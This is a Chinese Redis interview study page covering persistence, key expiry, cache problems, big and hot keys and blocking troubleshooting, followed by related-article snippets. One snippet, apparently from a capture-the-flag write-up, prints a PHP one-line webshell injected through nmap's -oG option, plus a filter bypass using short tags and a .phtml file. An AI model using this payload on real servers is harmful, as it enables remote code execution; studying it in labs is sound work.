redis八股

news/2024/9/22 19:29:22

redis 八股文

基础内容

Redis面试题,56道Redis八股文(1.9万字97张手绘图),面渣逆袭必看👍 | 二哥的Java进阶之路 (javabetter.cn)

Redis 常见面试题 | 小林coding (xiaolincoding.com)

redis数据类型

Redis 常见面试题 | 小林coding (xiaolincoding.com)

Redis 常见数据类型和应用场景 | 小林coding (xiaolincoding.com)

持久化

AOF 持久化是怎么实现的? | 小林coding (xiaolincoding.com)

Redis面试题,56道Redis八股文(1.9万字97张手绘图),面渣逆袭必看👍 | 二哥的Java进阶之路 (javabetter.cn)

Redis (javalearn.cn)

内存淘汰和key过期删除

Redis 过期删除策略和内存淘汰策略有什么区别? | 小林coding (xiaolincoding.com)

Redis (javalearn.cn)

缓存问题

什么是缓存雪崩、击穿、穿透? | 小林coding (xiaolincoding.com)

大key 和热key

名词 解释
大Key 通常以Key的大小和Key中成员的数量来综合判定,例如:Key本身的数据量过大:一个String类型的Key,它的值为5 MB。Key中的成员数过多:一个ZSET类型的Key,它的成员数量为10,000个。Key中成员的数据量过大:一个Hash类型的Key,它的成员数量虽然只有2,000个但这些成员的Value(值)总大小为100 MB。
热Key 通常以其接收到的Key被请求频率来判定,例如:QPS集中在特定的Key:Redis实例的总QPS(每秒查询率)为10,000,而其中一个Key的每秒访问量达到了7,000。带宽使用率集中在特定的Key:对一个拥有上千个成员且总大小为1 MB的HASH Key每秒发送大量的HGETALL操作请求。CPU使用时间占比集中在特定的Key:对一个拥有数万个g成员的Key(ZSET类型)每秒发送大量的ZRANGE操作请求。

大Key和热Key引发的问题

类别 说明
大Key 1.客户端执行命令的时长变慢。2. Redis内存达到maxmemory参数定义的上限引发操作阻塞或重要的Key被逐出,甚至引发内存溢出(Out Of Memory)。3.集群架构下,某个数据分片的内存使用率远超其他数据分片,无法使数据分片的内存资源达到均衡。4.对大Key执行读请求,会使Redis实例的带宽使用率被占满,导致自身服务变慢,同时易波及相关的服务。5.对大Key执行删除操作,易造成主库较长时间的阻塞,进而可能引发同步中断或主从切换。
热Key 1. 占用大量的CPU资源,影响其他请求并导致整体性能降低。2. 集群架构下,产生访问倾斜,即某个数据分片被大量访问,而其他数据分片处于空闲状态,可能引起该数据分片的连接数被耗尽,新的连接建立请求被拒绝等问题。3. 在抢购或秒杀场景下,可能因商品对应库存Key的请求量过大,超出Redis处理能力造成超卖。4. 热Key的请求压力数量超出Redis的承受能力易造成缓存击穿,即大量请求将被直接指向后端的存储层,导致存储访问量激增甚至宕机,从而影响其他业务。

大Key和热Key产生的原因

未正确使用Redis、业务规划不足、无效数据的堆积、访问量突增等都会产生大Key与热Key,如:

  • 大key
    • 在不适用的场景下使用Redis,易造成Key的value过大,如使用String类型的Key存放大体积二进制文件型数据
    • 业务上线前规划设计不足,没有对Key中的成员进行合理的拆分造成个别Key中的成员数量过多;
    • 未定期清理无效数据,造成如HASH类型Key中的成员持续不断地增加
    • 使用LIST类型Key的业务消费侧发生代码故障,造成对应Key的成员只增不减。
  • 热key
    • 预期外的访问量陡增,如突然出现的爆款商品、访问量暴涨的热点新闻、直播间某主播搞活动带来的大量刷屏点赞、游戏中某区域发生多个工会之间的战斗涉及大量玩家等

快速找出大Key和热Key

通过redis-cli的bigkeyshotkeys参数查找大Key和热Key 优点:方便、快速、安全。缺点:分析结果不可定制化,准确性与时效性差。 redis-cli提供了bigkeyshotkeys参数能够以遍历的方式分析Redis实例中的所有Key,并返回Key的整体统计信息与每个数据类型中Top1的大Key
过MONITOR命令找出热Key 优点:方便、安全。缺点:会占用CPU、内存、网络资源,时效性与准确性较差。 Redis的MONITOR命令能够忠实地打印Redis中的所有请求,包括时间信息、Client信息、命令以及Key信息。在发生紧急情况时,可以通过短暂执行MONITOR命令并将返回信息输入至文件,在关闭MONITOR命令后,对文件中请求进行归类分析,找出这段时间中的热Key。
过redis-rdb-tools工具以定制化方式找出大Key 优点:支持定制化分析,对线上服务无影响。缺点:时效性差,RDB文件较大时耗时较长。 Redis-rdb-tools是通过Python编写,支持定制化分析Redis RDB快照文件的开源工具。您可以根据您的精细化需求,全面地分析Redis实例中所有Key的内存占用情况,同时也支持灵活地分析查询。

优化大Key与热Key

大Key 1. 对大Key进行拆分例。如将含有数万成员的一个HASH Key拆分为多个HASH Key,并确保每个Key的成员数量在合理范围。在Redis集群架构中,拆分大Key能对数据分片间的内存平衡起到显著作用。2. 对大Key进行清理。 将不适用Redis能力的数据存至其它存储,并在Redis中删除此类数据。3.监控Redis的内存水位。
热Key 1.在Redis集群架构中对热Key进行复制。以将对应热Key进行复制并迁移至其他数据分片。2. 使用读写分离架构,热Key的产生来自于读请求,您可以将实例改造成读写分离架构来降低每个数据分片的读请求压。

如何找出优化大Key与热Key,产生的原因和问题_云数据库 Redis 版(Tair)-阿里云帮助中心 (aliyun.com)

Redis (javalearn.cn)

高可用

Redis面试题,56道Redis八股文(1.9万字97张手绘图),面渣逆袭必看👍 | 二哥的Java进阶之路 (javabetter.cn)

Redis (javalearn.cn)

分布式锁相关

Redis (javalearn.cn)

其他

Redis 阻塞?怎么解决?

image

API 或数据结构使用不合理

通常 Redis 执行命令速度非常快,但是不合理地使用命令,可能会导致执行速度很慢,导致阻塞,对于高并发的场景,应该尽量避免在大对象上执行算法复杂 度超过 O(n)的命令。

对慢查询的处理分为两步:

  1. 发现慢查询: slowlog get{n}命令可以获取最近 的 n 条慢查询命令;

  2. 发现慢查询后,可以从两个方向去优化慢查询:

    1)修改为低算法复杂度的命令,如 hgetall 改为 hmget 等,禁用 keys、sort 等命 令

    2)调整大对象:缩减大对象数据或把大对象拆分为多个小对象防止一次命令操作过多的数据

CPU 饱和的问题

单线程的 Redis 处理命令时只能使用一个 CPU。而 CPU 饱和是指 Redis 单核 CPU 使用率跑到接近 100%。

针对这种情况,处理步骤一般如下:

  1. 判断当前 Redis 并发量是否已经达到极限,可以使用统计命令 redis-cli-h{ip}-p{port}--stat 获取当前 Redis 使用情况
  2. 如果 Redis 的请求几万+,那么大概就是 Redis 的 OPS 已经到了极限,应该做集群化水品扩展来分摊 OPS 压力
  3. 如果只有几百几千,那么就得排查命令和内存的使用

持久化相关的阻塞

对于开启了持久化功能的 Redis 节点,需要排查是否是持久化导致的阻塞。

  1. fork 阻塞 fork 操作发生在 RDB 和 AOF 重写时,Redis 主线程调用 fork 操作产生共享 内存的子进程,由子进程完成持久化文件重写工作。如果 fork 操作本身耗时过长,必然会导致主线程的阻塞。
  2. AOF 刷盘阻塞 当我们开启 AOF 持久化功能时,文件刷盘的方式一般采用每秒一次,后台线程每秒对 AOF 文件做 fsync 操作。当硬盘压力过大时,fsync 操作需要等 待,直到写入完成。如果主线程发现距离上一次的 fsync 成功超过 2 秒,为了 数据安全性它会阻塞直到后台线程执行 fsync 操作完成。
  3. HugePage 写操作阻塞 对于开启 Transparent HugePages 的 操作系统,每次写命令引起的复制内存页单位由 4K 变为 2MB,放大了 512 倍,会拖慢写操作的执行时间,导致大量写操作慢查询

推荐博客

Redis连环五十二问! | 左老师的课堂笔记 (zuolaoshi.cn)

Redis面试题,56道Redis八股文(1.9万字97张手绘图),面渣逆袭必看👍 | 二哥的Java进阶之路 (javabetter.cn)

Redis 常见面试题 | 小林coding (xiaolincoding.com)

Redis (javalearn.cn)

💎Redis 面试题集合 (yuque.com)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/63440.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

[网鼎杯 2020 朱雀组]Nmap

这题考察的是nmap写一句话木马的知识 可以输入形如 <?php eval($_POST[1]);?> -oG 1.php 来写入一句话 经过测试这题过滤了php,我们就是用短标签绕过 -oG b.phtml ` 这段命令的作用是:将扫描结果保存到b.phtml中,同时这个phtml文件还包含了前面的一句话木马 目的就是…

电力煤矿液体泄漏识别系统

电力煤矿液体泄漏识别系统对电力煤矿危化品生产区域管道机械实时检测,当电力煤矿液体泄漏识别系统检测到机械管道出现液体泄漏时,系统立即抓拍存档并告警同步回传给报警信息给后台监控人员,让工作人员及时处理,电力煤矿液体泄漏识别系统实现危险区域跑冒滴漏异常自动监控抓…

河道水尺水位监测系统

河道水尺水位监测系统利用计算机视觉技术对河道湖泊水尺水位进行7*24小时全天候实时监测,当河道水尺水位监测系统监测到河道水位异常变化时,系统立即抓拍存档同步回传图片给后台监控平台,提醒后台工作人员及时处理异常情况,避免更大损失的发生。河道水尺水位监测系统适用于…

7-4DeepFM模型

DeepFM继承了Wide&Deep的主体结构,将高低特征进行融合。其主要创新点有2个。一是将Wide部分替换成了 FM结构,以更有效的捕获特征交互interaction;二是FM中的隐向量 和 Deep部分的 embedding 向量共享权重,减少模型复杂性。推荐系统和广告CTR预估主流模型的演化有两条主…

排水口排水识别系统

排水口排水识别系统基于Python基于YOLOv7深度学习的计算机视觉识别检测算法,排水口排水识别系统赋予传统监测系统智能检测能力提升企业污水排放监督管效率,7*24小时不间断准确判断检测场景内的是否出现排水口排水情况,减少后台监控人员的工作量,减少后台漏报误报产生的失误…

作业区域人数超员预警系统

作业区域人数超员预警系统利用现场已有摄像头对生产作业区域进行全天候不间断实时监测,一旦作业区域人数超员预警系统监测到作业区域人数超员时,立即进行抓拍存档并告知后台监控中心人员,提醒后台人员及时处理避免意外情况发生。作业区域人数超员预警系统对人数超员记录截图…

河道采砂船监测识别系统

河道采砂船监测识别系统通过计算机视觉深度学习技术对河道采砂区域进行实时监测,当河道采砂船监测识别系统监测到有采砂船通过停留非法采砂时,立即抓拍存档触发告警,同步回传给后台通知后台人员及时处理。河道采砂船监测识别系统对河道采砂区域进行7*24小时实时监测有效弥补…

仪表盘读数识别系统

仪表读数识别系统利用现场传统监控摄像头对仪表盘刻度数进行7*24小时实时读取,当仪表盘读数识别系统监测到仪表盘数据异常时,立刻推送给后台相关管理人员,工作人员在第一时间到现场进行处理,避免更大的损失发生。同时,将告警截图和视频保存到数据库形成报表。仪表盘读数识…